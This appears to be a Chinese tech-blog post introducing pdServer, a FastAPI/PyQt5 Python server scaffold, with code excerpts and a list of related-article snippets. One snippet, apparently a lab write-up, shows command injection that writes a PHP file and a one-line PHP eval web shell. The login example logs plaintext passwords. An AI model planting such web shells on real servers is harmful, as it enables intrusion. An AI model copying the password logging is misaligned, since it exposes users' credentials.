我们的Python服务器开发脚手架开放了

news2024/12/23 10:21:23

pdServer是我们实践过程中的产物,当我们在开发各类python应用时,经常需要一个server来提供服务。于是我们使用fastApi来提实现,并在这个过程中不断的完善,实现了JWT\SQL等。

我们的脚手架项目可以:

  • fastApi实现一个服务器;

  • PyQt5实现了GUI开发;

  • 简单的SQL访问(未实现ORM);

  • JWT实现的token鉴权;

  • logger日志组件;

  • ini系统配置持久化;

  • 多线程(GUI/SERVER)与业务任务队列多协程实现并发;

怎么样,一个轻量服务需要的功能模块都有了,来看看是否符合需求吧!

  • 先看效果再说过程

我们的脚手架项目,UI上包含两个:系统运行日志和系统参数设置。如果你想开发一个DashBoard统计一些运行数据,也是非常的简单。系统配置我们持久化到了本地ini文件中,因此,需要我们复制给出路径,打开config.ini文件进行配置。

图片

(界面截图)

图片

(config.ini截图)

  • 代码结构

代码结构如下图所示,我们从上向下作一个简单介绍。

图片

(代码结构)

  • GUI是我们的界面类

图片

loader是启动器,mainWindow是主窗口,其它的是各子窗口,本项目的主窗口是支持多tab的。

图片

  • business包是我们的业务处理包,这里是我们具体的业务实现,你可以按照自己的业务来命名。

  • PdBaseKits是我的基础工具包

图片

这里实现了exceptions异常定义,日志配置,sql访问,token工具,以及一些常用的时间、文件方法。

  • server包是我们的fastApi包

图片

在这个包中实现了服务启动,路由(router),任务队列(queue),model定义(schema)。

  • 主流程介绍

这里我将简单的介绍几个主要的类,这涵养了启动过程与服务路由,更多详细的开发指南,我将在以后的文章中更新。

serverMain.py是我们的入口

if __name__ == '__main__':    setupLogger("kling")    logging.info("开始初始化系统配置文件……")
    initialSysConfig()    logging.info("完成初始化数据加载")
    setupWindow()    logging.info("完成界面加载")

从这里可以看到,其主要完成了系统的初始化。ini首先会检查是否在本地存在config.ini文件,如果不存在会新建,并使用缺省配置。

setupWindow来自loader.py,其完成GUI的加载。

    app = QApplication(sys.argv)    window = KlingServerGUI()    window.show()    sys.exit(app.exec())

这里调用了KlingServerGUI,这是我们的主窗口。

class KlingServerGUI(QMainWindow):    newStockHqData = ""    newStateData = ""    existTabName = []    MENU_RUN_STATE = "RUNSTATE"    MENU_SYS_SETTING = "HYFX"
    exeTimeArr = ["09"]
    # 初始化各个句柄    def __init__(self, parent=None):        super(KlingServerGUI, self).__init__(parent)
        self.showTabWidget = None        self.runStateBoxShow = None        self.SysSettingBoxShow = None
        self.existTabName = []        # 设置窗口标题        self.setWindowTitle('KlingApiServer(' + version + '),请匆关闭!!')        # 设置窗口大小        self.resize(400, 600)        self.setWindowIcon(QIcon(":/logo.png"))        self.createMenu()        self.iniWelcomeTab()

我们会在这里初始化菜单,子窗口。

当我们在界面中点击“启动服务器”后,会启动我们的服务。

我们在router.py中可以添加我们的路由。

@router.post("/login", response_model=UserLoginResponse)async def login(body: User):    logging.info("login ["+body.user+"],["+body.pwd+"]")    access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)    access_token = create_access_token(data={"userName": body.user,'id':12}, expires_delta=access_token_expires)
    return {"user": 'zyy', "id": "12", 'token': access_token, 'nickname': 'dean', 'headUrl': 'i.png'}

这里我例出了login接口,其会返回token,在其它的接口中,你可以实现自己的业务代码。

欢迎交流

后面我会更新开发指南,欢迎关注交流:cdszsz ! 公众号:AIGC中文站 。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2134972.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据线电子行业MES系统功能与生产过程管理

万界星空科技针对数据线电子行业的MES系统(制造执行系统),其具体功能、生产过程管理以及注塑机设备数据采集等方面,可以详细介绍如下: 一、电子行业MES系统具体功能 计划管理: MES系统能够根据客户需求和销…

潍坊网站建设-高端建站

在当今数字化时代,企业的在线形象越来越重要。潍坊作为一个经济发展迅速的城市,许多企业都意识到拥有一个高端网站的重要性。潍坊网站建设不仅仅是技术层面的开发,更是品牌形象和市场竞争力的体现。高端建站的核心在于用户体验、视觉设计和功…

论文解读《NewsBench:一个评估中文新闻大型语言模型编辑能力的系统评估框架》

引言:感觉这篇文章,对 LLMs 的新闻编辑能力做了一个详细的实验和分析,而且还贡献了一个宝贵的中文新闻数据集,蛮不错的,后面或许可以用起来,就拜读了一下。 这篇博客的题目说是解读,其实大部分…

赵进喜:不透析、不用肾移植,“三维护肾”巧治尿毒症

潜心研究中医药治疗尿毒症等慢性肾脏重症40余年来,北京名老中医,慢性肾病国医大师吕仁和教授医术传承人,全国优秀基层名中医赵进喜总结出弥足珍贵的重症良方,临床应用无数次守护近10万肾病重症患者生命。让仅有22岁的慢性肾衰尿毒…

DORIS - DORIS之倒排索引

什么是倒排索引? 倒排索引(Inverted index),也常被称为反向索引、置入档案或反向档案,是一种索引方法,用于存储在全文搜索场景下某个单词在一个文档或者一组文档中的存储位置的映射,它是文档检…

AI开发-FAQ

1 需求 2 接口 3.1 pip下载指定版本 pip install package1.0.4 3.2 pip设置代理 pip install --proxyhttp://10.10.1.10:3128 somepackage 3.3 PyCharm设置代理 import os os.environ[http_proxy] http://your_proxy:port os.environ[https_proxy] http://your_proxy:portf…

java开发中间件学习记录(持续更新中~)

1 Redis 2JVM 3 java基础底层 4Mysql 5 spring 6 微服务 7.......(持续更新) One:Redis篇 1:Redis 1.穿透 1.1缓存穿透 1.1.1布隆过滤器 1.2缓存击穿 2:击穿 1.3:缓存雪崩 1.4:双写一致 1.5.持久化(RDB,AOF) 1.6…

80V降24V2A同步降压WT6037

80V降24V2A同步降压WT6037 WT6037是一款适用于36V-80V输入电压范围,输出24V2A电流的同步降压恒压芯片。该芯片具有宽输入电压范围,高转换效率,低静态电流消耗等特点,可广泛应用于电池组系统,电动自行车,电动…

SD-WAN网络如何实现双向访问?

在SD-WAN架构中,双向访问是一个重要的概念,它允许网络流量在不同方向上流动,从分支机构到数据中心或云端,再从数据中心或云端返回分支机构。本文将详细探讨SD-WAN如何实现双向访问,并解释其背后的工作原理。 什么是双向…

对话世优科技CEO纪智辉:AI模型让数字人发展按下加速键

2024年9月12日,中国国际服务贸易交易会全球服务贸易峰会在北京举行,世优科技作为深耕虚拟数字人领域的科技企业,聚焦“新而专”,连续两届参加服贸会。2024年,世优科技以合作供应商身份参与本届服贸会。 在AI的大浪潮下…

Jetpack Compose Side Effects in Details 副作用的详细信息

What is Side Effect’s? 副作用是什么? Side Effects is a change in the state of the application that occurs outside the scope of the composable function and is not related to the UI. In non-UI related state changes, our screen may recompose mor…

一、机器学习算法与实践_02KNN算法笔记

1、KNN基本介绍 1.1 定义 KNN(K-NearestNeighbor,即:K最邻近算法)是一种基于实例的学习方法,用于分类和回归任务,它通过查找一个数据点的最近邻居来预测该数据点的标签或数值。 所谓K最近邻,…

性能测试-性能分析与调优原理总结

性能分析与调优如何下手,先从硬件开始,还是先从代码或数据库。 从操作系统(CPU调度,内存管理,进程调度,磁盘I/O)、网络、协议(HTTP, TCP/IP ),还是…

Elasticsearch基础(七):Logstash如何开启死信队列

文章目录 Logstash如何开启死信队列 一、确保 Elasticsearch 输出插件启用 DLQ 支持 二、配置 Logstash DLQ 设置 三、查看死信队列 四、排查 CSV 到 Elasticsearch 数据量不一致的问题 Logstash如何开启死信队列 在 Logstash 中,死信队列(Dead Le…

【Elasticsearch系列二】安装 Kibana

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

seafaring寻找漏洞

一.命令执行漏洞 &#xff08;1&#xff09;下面有一个输入框&#xff0c;输入ls进行查看 &#xff08;2&#xff09;输入echo <?php phpinfo();?> > qxl.php 并且访问 (3)写入一句话木马&#xff0c;并且访问蚁剑连接 echo <?php eval($_POST[cmd];?>>…

1T机械硬盘需要分区吗?你必须知道的分区知识

随着科技的不断发展&#xff0c;计算机存储设备的容量日益增大&#xff0c;1T(1TB&#xff0c;即1024GB)机械硬盘已成为许多电脑用户的标配。然而&#xff0c;在这样一个大容量硬盘面前&#xff0c;很多用户都会面临一个问题&#xff1a;是否需要对这块硬盘进行分区&#xff1f…

electron有关mac构建

针对 Mac M1/2/3 芯片的设备&#xff0c;proces.archarm64. 执行下面命令&#xff0c;检查下按照的 node.js 版本是不是 intel x64 指令集&#xff0c;如果是的话安装下 arm64 指令集的 node.js终端中执行以下命令&#xff1a;node -p process.arch 对应的node版本也是arm版 …

启明星辰防火墙结合宁盾双因素认证方案

防火墙是企业网络安全的第一道防线。近年来网络设备、安全设备的特权账号成为不法分子恶意攻击的首要目标&#xff0c;因此加强对防火墙登录&#xff08;特权账号&#xff09;身份鉴别十分重要。以启明星辰天清汉马USG防火墙为例&#xff0c;结合宁盾双因素认证&#xff0c;为特…

【C++】————IO流

作者主页&#xff1a; 作​​​​​​者主页 本篇博客专栏&#xff1a;C 创作时间 &#xff1a;2024年9月9日 一、C语言的输入和输出 C语言中我们用到的最频繁的输入输出方式就是 scanf() 和 printf()。 scanf()&#xff1a;从标准输入设备&#xff08;键盘&#xff09;读…